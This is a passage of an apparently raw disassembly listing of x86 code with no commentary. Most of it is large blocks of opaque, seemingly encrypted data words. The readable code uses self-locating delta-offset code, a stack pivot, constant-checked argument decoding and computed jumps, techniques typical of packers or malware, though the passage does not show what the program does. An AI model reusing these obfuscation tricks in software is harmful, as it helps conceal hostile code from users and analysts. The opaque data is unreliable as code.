6F47F624h, 40ABA8F6h, 4DED302Fh, 0A506F7ABh, 84CD8588h dd 0E0D65862h, 0D1E916EEh, 0FB000000h, 0D723758Bh, 0C3CA459Ch dd 0DAB6E1C8h, 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh dd 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh dd 3A7594A1h, 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h dd 0B1EF7695h, 0F94E0097h, 9FA5B4h, 0F07B6B5Ch, 8A924Ah dd 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h dd 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h dd 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h dd 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 0B6D00097h, 0A8CD43F1h dd 0F0h, 74470000h, 0E0E3129Dh, 5E99h, 6 dup(0) dd 160AE9h, 2C206800h, 0E9E90801h, 68FFF954h, 8012CFFh dd 0F954DFE9h, 2DEB68FFh, 0D5E90801h, 68FFF954h, 8012F17h dd 0F954CBE9h, 2FC868FFh, 0C1E90801h, 68FFF954h, 80130BCh dd 0F954B7E9h, 315E68FFh, 0ADE90801h, 68FFF954h, 801321Ah dd 0F954A3E9h, 32E968FFh, 99E90801h, 68FFF954h, 8013450h dd 0F9548FE9h, 351268FFh, 85E90801h, 68FFF954h, 8013673h dd 0F9547BE9h, 377B68FFh, 71E90801h, 68FFF954h, 80138E0h dd 0F95467E9h, 3A5868FFh, 5DE90801h, 68FFF954h, 8013C55h dd 0F95453E9h, 3D7D68FFh, 49E90801h, 51FFF954h, 0F6A3D9C5h dd 9F4C821Ch, 45F22876h, 0F19ED4CAh, 14487E20h, 599785Fh dd 0ACF222CFh, 5747C976h, 0FF9F7421h, 86A2FAC9h, 7E7AD23h dd 0A734EB51h, 78A2326Ch, 0EDFD7BBAh, 89B4108h, 0F1AD63B8h dd 0EA973D66h, 0B6D73929h, 0E7C24D7Fh, 47D23B7Fh, 1E7FB51Eh dd 4658B96Bh, 97314DDDh, 0DC07E1A4h, 87128C87h, 166FB85Eh dd 5EF85F8Bh, 810207E1h, 6788C0C7h, 4326406Fh, 0B7000000h dd 3ACA96F3h, 7635D0FAh, 9B4F6E78h, 0E7481C7Fh, 88F14AFFh dd 0C66C32E3h, 0E1608452h, 0BE49A207h, 0E1602B92h, 5D9D3507h dd 0E160DE41h, 0A26F0407h, 0DF4871FCh, 0F7FEB839h, 406F6CBFh dd 0F15Dh, 6CA7EE00h, 0CF42A732h, 34DF44CFh, 997ADF6Ah dd 0DE5BCF05h, 0A4FFE687h, 5A1DF36Fh, 0E687DB3Eh, 47B009FFh dd 0F42A93BCh, 920C075Ch, 8B38DE07h, 3B8B1688h, 0C96F2FE6h dd 0C032168h, 44992992h, 1E47D2CCh, 7C079779h, 0F915AD53h dd 7E0A85Bh, 7E20F287h, 747DF15h, 0B13C62B2h, 0A7B91C88h dd 8EE707E0h, 370287E8h, 0E0A7B81Bh, 0E085DE07h, 76066F2Fh dd 0D5170C36h, 0F00AAD5Ah, 1892593Eh, 9B4112EDh, 0DDEEE427h dd 0E979D20Fh, 7D5C7FA9h, 4954F59Fh, 471BF6A3h, 7833C3CAh dd 802B2C76h, 0BE638C17h, 94BD4856h, 0C948F52Bh, 0BD17D5h dd 538E999Bh, 1330B4h, 4F4FC700h, 0F8A66C19h, 9E0015C2h dd 4A54BB68h, 0F4AA6714h, 0EED58ABEh, 98457B23h, 3FEC227Ch dd 0EA97CDD1h, 703F7529h, 0AF99FC18h, 61C707E7h, 346AA7AAh dd 0DCC251FEh, 96F3EFA6h, 0AE103ACAh, 0AF51F193h, 4B67FFA5h dd 7E0C07Dh, 8E10055Ah, 0DE35DA03h, 78D11AC0h, 1E8093E8h dd 31C46A93h, 0E0C09E05h, 0E610A807h, 0AE5F3D1Ch, 0DB5C02EBh dd 4E285221h, 0E72691FAh, 0CC04D47Ah, 6A406EECh, 0C9h dd 326CA7FBh, 93CF42A7h, 6D96217Dh, 0D04D7904h, 8AFFE687h dd 47DF1589h, 8788EB07h, 55AEFFE6h, 8D1102AFh, 0C0A0E902h dd 0A8761430h, 0CB2407E0h, 6CA8FD95h, 5E2B8C32h, 2567202h dd 0C0FDD86h, 43CE23B3h, 0AFDC74Ah, 97001BACh, 415DB461h dd 9B336F83h, 16B5F099h, 1251h, 0F82E70A6h, 0A1D7C74Bh dd 477D21F4h, 0F329759Ah, 9DD3CB46h, 46CBB469h, 9F752258h dd 0F41CC9FFh, 4CC774AAh, 0F54D1C52h, 0E7AF76D9h, 7F369C07h dd 0E8277CBCh, 82E74AB6h, 0B40DFFE6h, 0D98060Fh, 80913EE4h dd 21648E1Eh, 933A64EAh, 76DFBF52h, 0D15C42D1h, 2CC402A8h dd 96FEC2ECh, 2855D441h, 0E74F59BCh, 882E87FFh, 306638DBh dd 326CA779h, 0D9C54DA2h, 0D83BA033h, 32E390C6h, 54BDE130h dd 0F9A56FC4h, 0C9F456Eh, 390692BCh, 0D7B28349h, 0F8F8431h dd 3DE700D9h, 4484144Ch, 0ED7826EFh, 0AAF558C4h, 0C21BFFE6h dd 6668841Ch, 4C07E0B1h, 0EC52B6F3h, 0CBFF6AE1h, 0A20C6F8Bh dd 0E13AF056h, 0B1AFDA3Bh, 0C5170521h, 6AC3F850h, 9DC3C6DFh dd 6467F10Dh, 227BFF6Eh, 0C8D63D92h, 702EE592h, 0EA3F34B2h dd 3BDA1569h, 1165h, 0E41A8492h, 8DC3DB37h, 336935E0h dd 0DF158986h, 89BFDF32h, 5AB7A055h, 0B3610E44h, 808B5EBh dd 60B36096h, 0E139083Eh, 0E7B062C5h, 732A9007h, 0A7326CA7h dd 0D565FB8Eh, 0E0A277B9h, 0CAF15B07h, 0B550DE5h, 0A90A40A9h dd 0D4F080E0h, 0FDB269Eh, 83C353ACh, 26C42743h, 99F2FFE7h dd 0E726CA2Dh, 0F99FF8FFh, 26D33A66h, 5CDDFFE7h, 32639BA2h dd 31013875h, 92000000h, 3ACA96F3h, 0E0D31D1Eh, 0E132C707h dd 84C454BDh, 0D2C52844h, 92EB07E0h, 0CDD13FECh, 0D2BE2397h dd 8F8407E0h, 0E42CD90Fh, 0BE902FBAh, 29000010h, 0F1AD67BCh dd 0C19FEA4Bh, 0AD871531h, 9AC407E7h, 8A687525h, 1064DEF0h dd 0A19153ABh, 9DF63FE5h, 435BB80Dh, 0EBB3600Dh, 1E424760h dd 0C439728Eh, 67BC0FE8h, 44DF3ABh, 4DC61BABh, 0A56E1B51h dd 0FF1469F9h, 65AF149Fh, 972AD039h, 0F7190B7Eh, 0B6CC896h dd 0C62FB9DBh, 19A9123Bh, 0C7524CC4h, 9281249Eh, 0FABEA6C4h dd 3EA0BC54h, 6407E0E1h, 0D6AE93FAh, 0EA535EFFh, 6774A42Ch dd 0AB4A859Eh, 1039h, 104658BEh, 0B9EFAF63h, 5F95090Ch dd 0B415DB2h, 0B5EBB35Eh, 2EE3CC81h, 878D3A70h, 0DC34E117h dd 34DF8CC2h, 0D65346Ah, 0E7B28EF1h, 974EB407h, 0FD607CBCh dd 0D4FFE682h, 0E68355B8h, 0E1227BFFh, 0C2797F77h, 0D942E8EEh dd 0E258BF33h, 0F737FFE6h, 0E6E278DBh, 9F459EFFh, 85154B3Eh dd 6D20F045h, 8940451h, 68F35C47h, 237B9A3Fh, 55C96F98h dd 7E86924h, 0F449D932h, 0AFEF7F1Fh, 0E8173093h, 7B23F207h dd 0FD3BE13Ah, 0F083B65h, 7EC02A4Bh, 0B6E82BD8h, 0E977122Bh dd 4CC41959h, 0F638AC52h, 0DC0FE1D8h, 8837C583h, 0D9149666h dd 0F883Ah, 0F7A76F00h, 0A0FE14C1h, 4658BD6Ah, 0F2AC6310h dd 9C020FBCh, 967D3266h, 40ED237Bh, 0E794CAD4h, 923F7529h dd 18E71D81h, 0B241A4C0h, 96F07E7h, 0B6CA752h, 0E6838CEFh dd 0EC4F6BFFh, 1AFFE682h, 0BE2780C1h, 283AD92Eh, 32CB7E7h dd 0FC61F49Ah, 0FEFC8717h, 0B71A3676h, 0DDFFE683h, 83DE415Dh dd 0AB04FFE6h, 611B9C42h, 0C6D83D92h, 7B98123Bh, 0E43BBE38h dd 0E119E98Fh, 0C83874E4h, 58FEA073h, 93F77h, 0CBE72700h dd 0FFE6D568h, 2EB9E52Ah, 0C56BC405h, 8E96F30Eh, 648D1886h dd 2B4F6BFBh, 5307E7ACh, 51406AFAh, 0A646948Ch, 75CF49Ah dd 0EC4F6B0Ch, 0E107E79Eh, 81453302h, 3B94D580h, 7F1842D2h dd 257997E2h, 0E8F7719Ah, 8F0F00DDh, 0CC72DB04h, 6C32E18Eh dd 0D74EB5E1h, 256407E7h, 4D8FAB3Bh, 790FE1F6h, 0EAA66220h dd 6CA79666h, 0E94CDh, 0EBB36300h, 940A08B5h, 3A64B15Eh dd 0E6B85704h, 900E03B0h, 8A71265Ah, 34E11787h, 0DB88BEE0h dd 86336935h, 0CDB118Dh, 0B33598B4h, 0F55B07E7h, 326CA73Eh dd 0F81778A2h, 7B05275Ah, 36DD42D5h, 6EDFDD68h, 675ADB4h dd 81133875h, 0C3000008h, 0F6046783h, 0B232FFE6h, 0E6F63396h dd 9F0861FFh, 79E042F9h, 8FFFE683h, 81D666FAh, 5C85108Eh dd 1E021EB6h, 4807E7ADh, 0CA1F5FEFh, 2AF5549h, 0DCC25111h dd 89BF2851h, 0DC6737DCh, 0A9AC6C3h, 0E1CBACEEh, 83419A0Fh dd 9666979Dh, 0F2E483BEh, 500000Dh, 0AA578D11h, 53003668h dd 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch, 0B9E52C13h, 603ED683h dd 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh, 7E7B4D7h, 0BCE097FDh dd 4EF4AA67h, 0A12C72A1h, 37C7D73Ch, 8378DBF7h, 459EFFE6h dd 9E4C6CBh, 0D87EFE2Ah, 1CD64745h, 74FEDD15h, 7D27B38h dd 0F30C0000h, 1E3ACA96h, 7E7AD4Fh, 0F64F44Dh, 0E00A9A04h dd 65818254h, 7E87B02h, 3D5DD730h, 0E1BD559Dh, 0E794D278h dd 0BBE7722Ch, 7E79654h, 6B33DE33h, 0B011B7E0h, 213B76D9h dd 51DAFD7Eh, 0FA3C58E8h dd 990FE1F3h, 43CED044h, 0BEAFA01Ah, 5EC70AF2h, 58166FB8h dd 96669C80h, 36AF4E89h, 0C100000Dh, 66134955h, 0FBCF2ACh dd 0B5629806h, 610E445Ah, 84B8EEB0h, 7529E8CFh, 1C82923Fh dd 0C7D739E6h, 6F2FE491h, 0F6126A39h, 7E7B593h, 0A7A45BC1h dd 42A7326Ch, 0E83DCDD1h, 3ED17727h, 0E15CF40h, 38748AD6h dd 72774h, 7EE00500h, 8CFFE683h, 0B6E827FDh, 999022Bh dd 0E7ACFBEDh, 0C152E707h, 161F63DDh, 82112E62h, 0E1348919h dd 0C6E232BDh, 7E80A63h, 29CF3891h, 0C7D73C91h, 6F2FE491h dd 385494E4h, 7E80AD5h, 9BFCA2FBh, 0C6E272EEh, 0FE236CCh dd 0E3BB56ABh, 4A74F43Dh, 382E65EBh, 0BD208C09h, 940FE202h dd 0E2021578h, 0A1E23B0Fh, 2A20521h, 77D00FE2h, 0FF627E0Eh dd 250FE201h, 0FFA563CCh, 0CC9666DEh, 0C67F291h, 86900000h dd 0DD35E218h, 37DE8BC1h, 8B843167h, 0E130DD13h, 9E5387BDh dd 0C425CB5h, 0B3E9B55Fh, 5E940A06h, 63C62B1h, 60C3DF37h dd 8607E7B5h, 6CA76920h, 352EF221h, 0C750421h, 0A7F71C81h dd 15CF001Ch, 9180E231h, 0DF59820Dh, 0A9159AD2h, 5E94FD8Ch dd 7492568Eh, 168F438h, 0A7850000h, 42A7326Ch, 3697CDD1h dd 617D0D53h, 7E0ADC7h, 0C1DD378Ch, 67CAE636h, 8D07E0ADh dd 0DC25CB34h, 65CCF883h, 6F07E0ADh, 3B6534EEh, 41AF356Ch dd 1FEF951Bh, 406F1BE7h, 4A85h, 67BC1600h, 0EB4CF2ACh dd 1632C29Eh, 7E09C48h, 48ABC707h, 0A07E09Bh, 0E10A9509h dd 58A147A0h, 0E14874FFh, 0EB07E09Ah, 56BE1353h, 2894BD48h dd 7E09BC5h, 4A9A07B2h, 0A2E3458Fh, 6822A349h, 6F4B2961h dd 0C4C740h, 0A7580000h, 8CEF0B6Ch, 0BAFFE683h, 4955BC61h dd 0A12C95BEh, 3EC9D53Ch, 0D4643AD9h, 83157894h, 38D7FFE6h dd 26CC2566h, 0B9E52E93h, 0AFA20F83h, 0C3EDFFE6h, 0E3E77DA4h dd 0E49137BEh, 0B5DF6F2Fh, 63AD6A95h, 0D87B03Bh, 6C1208BEh dd 0A4BCCD2Eh, 0E222F814h, 8CE107E3h, 0B5110687h, 0B0DD5C54h dd 0FF58A147h, 0A7F71A6Fh, 8E84D971h, 54BD6A10h, 0D6A40723h dd 79D207E2h, 0F28E5210h, 346F9E61h, 0B0095h, 7F1FF700h dd 28769C49h, 0CED045F2h, 7A24EB98h, 247A9744h, 1E05BAEEh dd 0C875ABF3h, 6F1C524Ch, 1AC7FDA1h, 0A06FA5F9h, 0B7C92C48h dd 91F707E7h, 0D6AA7DAh, 0E6838EF1h, 0F25BB4FFh, 9A040FBCh dd 67BCAD64h, 0A24FF5A9h, 3DA22D71h, 0AB92C8D6h, 4E8h dd 0EAAA3963h, 63E60FEDh, 96F306BDh, 81E3ACAh, 9607E0A4h dd 1F86B23Dh, 2907E0A3h, 0F51FEEA8h, 0D3192AD6h, 7727EBF2h dd 6098680Eh, 0FE406EF8h, 1E8h, 8380E08Fh, 0FB8EFFE6h dd 0CDB9D565h, 1907E7ACh, 38DB30C0h, 7A96D666h, 7E7AC17h dd 3EE43Dh, 53DEC053h, 81114F3Ah, 0E1D86B65h, 40FE570Fh dd 9666A476h, 3E791853h, 0B900000Ah, 5E0B415Dh, 7B4EAB4h dd 0AD5A900Eh, 59063C62h, 7CB0E6B8h, 6D31E0C7h, 148A8A37h dd 0BFDF31DEh, 6737DC89h, 0EE0A6231h, 7E7B88Bh, 0A79C53B9h dd 7F1FF66Ch, 2A468616h, 0FFE683C7h, 0E4BA58EDh, 21C73059h dd 0B4EA298Eh, 5846CF24h, 6BFEA4CDh, 80641E4Fh, 5D50B93h dd 38748FCDh, 14B6Bh, 6CA7FC00h, 0D142A732h, 533697CDh dd 0EA287D0Dh, 36760EB4h, 0E46F2FE1h, 7A115BBh, 4C07E0AEh dd 0DD1F9A22h, 0A072095Ah, 0A6EF95FEh, 109B0311h, 0C7F37EE7h dd 7E10260h, 602FE96Ah, 527E0F36h, 0ED93743Fh, 6F74E51Dh dd 208340h, 0F3140000h, 1E3ACA96h, 7E09C50h, 3E6AF54Eh dd 7E09BD7h, 9FA660E1h, 406EA767h, 0CC05h, 7CBC9600h, 0E682FD60h dd 24CA23FFh, 77029C77h, 0F9FFF12h, 50D55BAh, 7CE50E99h dd 2285A1F1h, 50FFE683h, 55E88EF7h, 8BF1DB05h, 69D91534h dd 758B32EFh, 0BB61E70Dh, 0E99050Eh, 0FE346AA9h, 0E7332D8Ah dd 7E20F3FFh, 2F92AEEEh, 6FFE691h, 0E69187EAh, 1354ADFFh dd 75D614BAh, 0A0BC4C14h, 7E370CAh, 9AEF7FD8h, 59F12777h dd 28D1104h, 0BEE034D9h, 0D1A66B18h, 54127591h, 0E74007E3h dd 0E354187Bh, 7CE53E07h, 617086BEh, 0ED8CC79Eh, 8DDh dd 6CA2FC1Ah, 154B53BFh, 0BBF1AD68h, 679D010Eh, 114757BAh dd 0D23F28DDh, 2BE996CCh, 80903D73h, 0D83BE81Eh, 69C190C6h dd 0E7B8EA4Dh, 0FBB21807h, 0FE346AA7h, 0A6DCC251h, 326CA7EFh dd 0CDD142A7h, 7727E83Dh, 0CDAC93D1h, 45000002h, 3ACA96F3h dd 2A35D0FAh, 7BBE2778h, 0E6B7AC0Fh, 0DB81DAFFh, 0E1952743h dd 0D74107E7h, 0DBF7E9CAh, 7E7E378h, 0FCCB459Eh, 0A4C050A4h dd 7E79E41h, 22AD166Fh, 0E4937DD2h, 0E79E65C8h, 0C9328B07h dd 9E48AF23h, 0D15207E7h, 21F34817h, 23C9F27Dh, 75AA1B53h dd 247B940h, 29690000h, 7C4B39FFh, 0E854F900h, 7E7F285h dd 0F5AC52ABh, 0E68380E0h, 65FB8EFFh, 0AD1FB9D5h, 1F7407E7h dd 0BB04AAF4h, 7692D262h, 7E7AC13h, 0AA42E841h, 0AAE0BE55h dd 0F88816FDh, 0AC399CB8h, 0E6707E7h, 0CDBCD568h, 6EC30393h dd 4871FCA2h, 0D9342EA2h, 39920FE1h, 66A4D17Bh, 0A03F7A96h dd 7D5h, 74AAF422h, 1D534BC7h, 0C3F9A570h, 6FA5F916h, 194F4FC2h dd 0CA4730E5h, 23F19ED4h, 7898457Bh, 0D043F026h, 71C998CEh dd 0E7B9F255h, 3BA2007h, 0A2326CA7h, 82E34662h, 0B811FFE6h dd 0F91A7F12h, 0CDFE1AA5h, 0BAE42F13h, 8F7CB484h, 39633874h dd 3D7FE93Ch, 0AEB91C5h, 189h, 0F0AE65BAh, 8A140065h, 0A7C47B21h dd 42A7326Ch, 1B8391D1h, 6E1B7CB2h, 0AC4662F2h, 0DA07E0ADh dd 920C055Ah, 0F72DE07h, 3507E0ADh, 0B9E373DCh, 0E4B77274h dd 0FF9238C4h, 0F0536FAFh, 1607E0BDh, 3CA317BDh, 4607E0BEh dd 51AD84AEh, 40A4ECF0h, 9E3194B0h, 65F07E0h, 1E25DF60h dd 406EA5E6h, 2784h, 96F31500h, 501E3ACAh, 4E07E09Ch, 0D73E6AF5h dd 0E107E09Bh, 679FA660h, 5406EA7h, 0DCh, 0EFAF60B5h, 0DE953B64h dd 0A7326CA7h, 3FCFCF42h, 8380E3FFh, 4DA6FFE6h, 64AF14A7h dd 0C94AAF3Ah, 0DE2B9FD5h, 0B9FFE6FDh, 0AD026A8Fh, 0CC464AF2h dd 4977AA34h, 4AF79D30h, 64FDC4C9h, 78BB2440h, 1178D90Fh dd 0A86ABF4Fh, 9C426BF6h, 9412E804h, 0E74007E3h, 0BBD71757h dd 7E37158h, 0D27F257Eh, 0A5CF5F3Fh, 2C18AFD5h, 34DB80FCh dd 0D986C46Ah, 125538h, 0FAC6A655h, 9C67D391h, 8DC89E61h dd 670EEh, 0F8F8700h, 0B8E62CD9h, 5E40D582h, 0A947B28h dd 0B4EA27D4h, 0AE954A7Eh, 58053B63h, 0FFACE2BCh, 0AA578D11h dd 30FF3569h, 0BB59BCD8h, 218707E7h, 0D6AA76Ah, 0E6838EF1h dd 0F25BB4FFh, 44CD2262h, 3AA6CF5Ah, 0FFE683D7h, 0C0FEA4FDh dd 623CD328h, 5B08AED7h, 0F9B0E6B8h, 1D216CA7h, 0C4060E6h dd 4EE516Dh, 0BB14FFE7h, 0F95EE952h, 9FF4841Ah, 77A02B73h dd 0D35E40D2h, 0DFC604AAh, 2Ch, 326CA778h, 0CDD142A7h dd 6B33DD42h, 6987BE0h, 4600297Bh, 75B5059Eh, 0E682F659h dd 1DC31CFFh, 15FEE29Ch, 246C5389h, 5000000h, 0A7326CA7h dd 0E683157Bh, 0D38D0EFFh, 6884C404h, 0FFE68305h, 366D22Bh dd 31FFE683h, 8E8532D8h, 0A723DA10h, 8EA7326Ch, 78A454FBh dd 7252B5D1h, 2780FFE7h, 0E46F6ADh, 0E30C9707h, 623CD57Ah dd 0B545AED7h, 0E86A0B99h, 0EC084807h, 7E81789h, 16E94C68h dd 0BE1707E8h, 927F247Dh, 0B258810Ch, 233FD469h, 0FD26B1EDh dd 77E00994h, 1D8192E7h dd 0C5D93AE7h, 76D9F535h, 9C07E817h, 179D001Ch, 6AC307E8h dd 2E848701h, 65AD11C7h, 76132CBFh, 0C51A5AEAh, 9EC7524Ch dd 0CF4B84F8h, 20790FE8h, 0C6D83B90h, 0E0338820h, 38DB88BEh dd 0C7C2DB66h, 8BED0999h, 6807E0B6h, 0F99E0013h, 95DE841Ah dd 82E87E3Ch, 2E699E67h, 4F88Fh, 8717FF00h, 306EA451h dd 0D6C84DFAh, 821CF3A0h, 2C729F4Ch, 260DC2F6h, 0D07DB3EBh dd 77245A44h, 22CF0599h, 0A877ADF1h, 0BDD13450h, 99FF07E7h dd 326CA7E2h, 0E34662A2h, 11FFE682h, 27D412B8h, 0C227B2ECh dd 0A6C24D51h, 3CD7BB75h, 245C2C62h, 0C238748Fh, 57h, 1392BC53h dd 963356FAh, 6E30E287h, 3E2267C8h, 0DE9192AEh, 0DA3307E0h dd 8CE00A4Ah, 5379CFE8h, 967A27CDh, 0F95ED208h, 0BF07E14Bh dd 7C144A54h, 94A55152h, 31D72083h, 87128C84h, 702EE237h dd 2F16BCE5h, 459h, 6EF0BDE7h, 9E108633h, 759E2975h, 0BCAF660Ch dd 0AECAAD67h, 0FFE6834Bh, 11B72079h, 60B3AF64h, 0E54AD53Eh dd 0D93A702Eh, 420B0B0h, 7E0AE6Ah, 0FEA074C9h, 26B60F58h dd 0C22A7FFCh, 731927C5h, 866690E0h, 385DC917h, 30970BB1h dd 3A07E131h, 0C0F8FFB9h, 5E406F39h, 5Ah, 0B996F3EFh, 0DE45E602h dd 8CEF0B4Bh, 0BAFFE745h, 0FF8FF861h, 0E15E15E3h, 987C1107h dd 0E9527B06h, 57B90E5Eh, 0C62DA147h, 0D007E15Dh, 0B1370E38h dd 0E435907Ah, 0D29A8F6Ah, 17BDE569h, 9DD5DC96h, 84406EEAh dd 0D2C52844h, 92EB07E0h, 0C4B18118h, 0D076C022h, 0E2EFh dd 7CBC8000h, 0E682FD60h, 24CA23FFh, 4BC69C77h, 0F9FC853h dd 0E68390F3h, 0F45DB6FFh, 910D0469h, 2C72A106h, 15FC51A1h dd 82E34662h, 0B811FFE6h, 0F59BC44Fh, 9DD3CB48h, 3E60B005h dd 2EE58AB3h, 0D956CA70h, 0B4FFE687h, 5EE9B55Fh, 31E28F35h dd 898A376Dh, 0FA3A8A15h, 0E6877BDEh, 0AA50A9FFh, 90204049h dd 8618FB50h, 9C866CE0h, 5BB407E0h, 49A76CBh, 6CAA5079h dd 6BA67E0Bh, 17801EF7h, 96FF9F72h, 770EEA06h, 0DF380FDDh dd 0B3CF0F4Fh, 0FFED7650h, 0CA771D76h, 74215747h, 3B43019Dh dd 24999B52h, 2FB4AE9h, 1AFC0000h, 71A14E84h, 0CB4AF72Dh dd 1FF09DD3h, 759C497Fh, 0ABFF329h, 78AEF021h, 1F5549CBh dd 0CA009E72h, 72A8F61Dh, 0CC2F4BA3h, 0FA07E7BFh, 6AA7DD94h dd 0C251FE34h, 0BCEFA6DCh, 7E7A3B92h, 12B8B864h, 2161D8B1h dd 0E6B1A205h, 0B77D0FFh, 0FFE6B1A8h, 0C9E575CEh, 0FFE6B166h dd 3ACA338Ch, 0E0CA501Eh, 65F54E07h, 5A44D025h, 0D73AA6CFh dd 0C407E0B9h, 53FBEBB8h, 0D166A7B7h, 0A9D25D41h, 0B7079A40h dd 49EFAF62h, 0E0B06ED5h, 3DF77807h, 2A042E6Eh, 2AD26D89h dd 2457BA26h, 0FD7D07E1h, 0E1247EE1h, 0E24BA407h, 23C9D53Dh dd 6F301B53h, 0B2B940h, 14690000h, 46FDA3FBh, 0A7326CA7h dd 44CFCF42h, 0E6889B18h, 702EE5FFh, 0C84DA23Ah, 908330D6h dd 1F6A830Eh, 48F0F05h, 8DE272DBh, 278C1787h, 0A248B1EDh dd 9C75CA0Ah, 2E85C02h, 3007E09Dh, 4940A1D7h, 0DB449806h dd 0B52FFFDBh, 923B55F8h, 0ED7DE60Dh, 0DDE696D1h, 0C353AC0Fh dd 6DF8A66Eh, 0B1069E44h, 5B083E60h, 282AE8B6h, 1999BFAh dd 1D327C6h, 0F2240000h, 49C976ACh, 0A3721F55h, 0F718C5FBh dd 4DC471A7h, 32E71B51h, 0A0D6C849h, 477D21F3h, 0F228769Ah dd 9AD0CE45h, 0F45773CBh, 2207E7BFh, 6AA705BCh, 0F8831BF8h dd 833066CFh, 21D80E90h, 0A7326CA7h, 97CDD142h, 0EA7529EAh dd 18A8B8D1h, 108E83D8h, 99DCF66Ah, 0B10A07E0h, 4F4FC126h dd 0E8B65FC4h, 5610415Dh, 0F9B3DCAEh, 10A0FE15h, 22B0DFE6h dd 0A1479DF3h, 0D9870263h, 0AD372D49h, 4AA30FDAh, 0E5B95ABFh dd 71B1015Ah, 0E683F255h, 84A020FFh, 0FFE68421h, 0E78DF64Fh dd 88DDAC66h, 70D3EF88h, 96FFE684h, 2049D43Dh, 0F070197Ah dd 0A1042060h, 0CFFFE684h, 1C38D076h, 7E09A26h, 76CB5BB4h dd 758A049Ah, 48A7B864h, 6A1755FBh, 56AF5A9h, 0E3BB570Bh dd 345DEF7Ah, 217D967Ah, 50FF8AEBh, 5D44E901h, 0B848B151h dd 62EDB163h, 0DFFB9339h, 0FDB60C5h, 0D3365292h, 9DFFE754h dd 91EA2B73h, 0B949A2EBh, 53FA5D79h, 0CF28FFE7h, 0E2319629h dd 54167995h, 0E33CFFE7h, 345DEF7Ah, 0BA56AB7Ah, 0AA6C7D3h dd 4BB49E60h, 0F15470C0h, 1FFFE696h, 56B75DC6h, 819D2D33h dd 7E0AD67h, 613DD72Ch, 0FDA171D6h, 3AE04972h, 16298F1h dd 2C48D888h, 0FE1AEEFh, 84E974CDh, 2CD90F8Fh, 8967BE7h dd 60EB547Dh, 4856BB10h, 7AEE94BDh, 3B567983h, 2206C0F9h dd 0DD1DADF1h, 76635EC1h, 852B8424h, 25799A47h, 88DA359Ah dd 6539D78Bh, 0BD48B1DAh, 7B23EF94h, 0D35EC7F0h, 65AC0141h dd 58129339h, 0CA2D4989h, 0F8247663h, 88F1AD63h, 0C0DE35E2h dd 2C36DD8Ah, 12AB5E9h, 62F25571h, 0C7202476h, 2E83D35Eh dd 42DB8E6h, 3775Eh, 0BB100000h, 2F6FA75Ch, 0CAD43FA4h dd 6836DA3Fh, 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h dd 742AEB50h, 108E84E9h, 0AF685285h, 89000029h, 0EC682404h dd 89000026h, 0ED682404h, 8900001Dh, 0BE56241Ch, 74C71EF9h dd 6DDBBD55h, 0CD810271h, 5EA22D85h, 5576C581h, 0DDF746DFh dd 3B8EED81h, 0F5815D61h, 800448BEh, 295DE889h, 8B545EF0h dd 0C481241Ch, 4, 0BDB85050h, 3151EA10h, 58042444h, 8108438Fh dd 10BD0873h, 1C8B51EAh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- db 3Fh dd 7C757787h, 87CBC199h, 0B82D2F73h, 8013F75h, 0E0FFC503h dd 7625ACF0h, 5CE33138h, 6E2B48A9h, 6696C753h, 5A3C8FDDh dd 3B2F2898h, 3F2B3332h, 61FA38B7h, 7595E01Eh, 1872FF2Ch dd 640467Bh, 3E76EB21h, 20272BD7h, 5DCBA6F8h, 6E715273h dd 34E41CAEh, 51884BC8h, 737C6EFFh, 2B2ACE18h, 3AE933B2h dd 39B6A65h, 2EA31B53h, 70990B59h, 0C7AB115h, 0A51149h dd 72901D69h, 1EE78D59h, 6C72F753h, 55031F4Dh, 164CC1C1h dd 15FE9h db 0 ; =============== S U B R O U T I N E ======================================= sub_5F74D1 proc near ; CODE XREF: sub_4068E0+12Cp ; sub_409CA0+1Cp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 8014099h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5F7627 mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 4E7D5238h xor eax, ebx sub eax, 4 mov [ebp+7FA1CD9h], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0D7546EFDh xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+7FA31ADh], eax mov eax, [edx+14h] mov [ebp+7FA2BD9h], eax mov eax, [edx+18h] push ebx jmp loc_5F75EB ; --------------------------------------------------------------------------- db 0FFh dd 0FA16F1B5h, 0B9E907h, 0B5FF0000h, 7FA2F59h, 0AEE9h dd 0B1B5FF00h, 0E907FA16h, 0A3h, 3391B5FFh, 98E907FAh dd 0FF000000h, 0FA167DB5h, 8DE907h, 0B5FF0000h, 7FA0D31h dd 82E9h, 15B5FF00h, 0E907FA25h, 77h, 2EA9B5FFh, 6CE907FAh dd 0FF000000h, 0FA112DB5h, 61E907h, 0B5FF0000h, 7FA2D6Dh dd 56E9h, 49B5FF00h, 0E907FA21h, 4Bh, 28EDB5FFh, 40E907FAh dd 0FF000000h, 0FA243DB5h, 35E907h, 0B5FF0000h, 7FA1E99h dd 2AE9h, 71B5FF00h, 0E907FA0Eh, 1Fh, 0EEDB5FFh, 14E907FAh db 3 dup(0) ; --------------------------------------------------------------------------- loc_5F75EB: ; CODE XREF: sub_5F74D1+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+80140FAh] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- db 0FFh dd 0FA179995h, 858B5B07h, 7FA1CD9h, 0F045839h, 0F85h, 16A5300h dd 101995FFh, 0E95B07FAh, 0FFFFFFE2h db 61h, 5Ah, 0C3h ; --------------------------------------------------------------------------- loc_5F7627: ; CODE XREF: 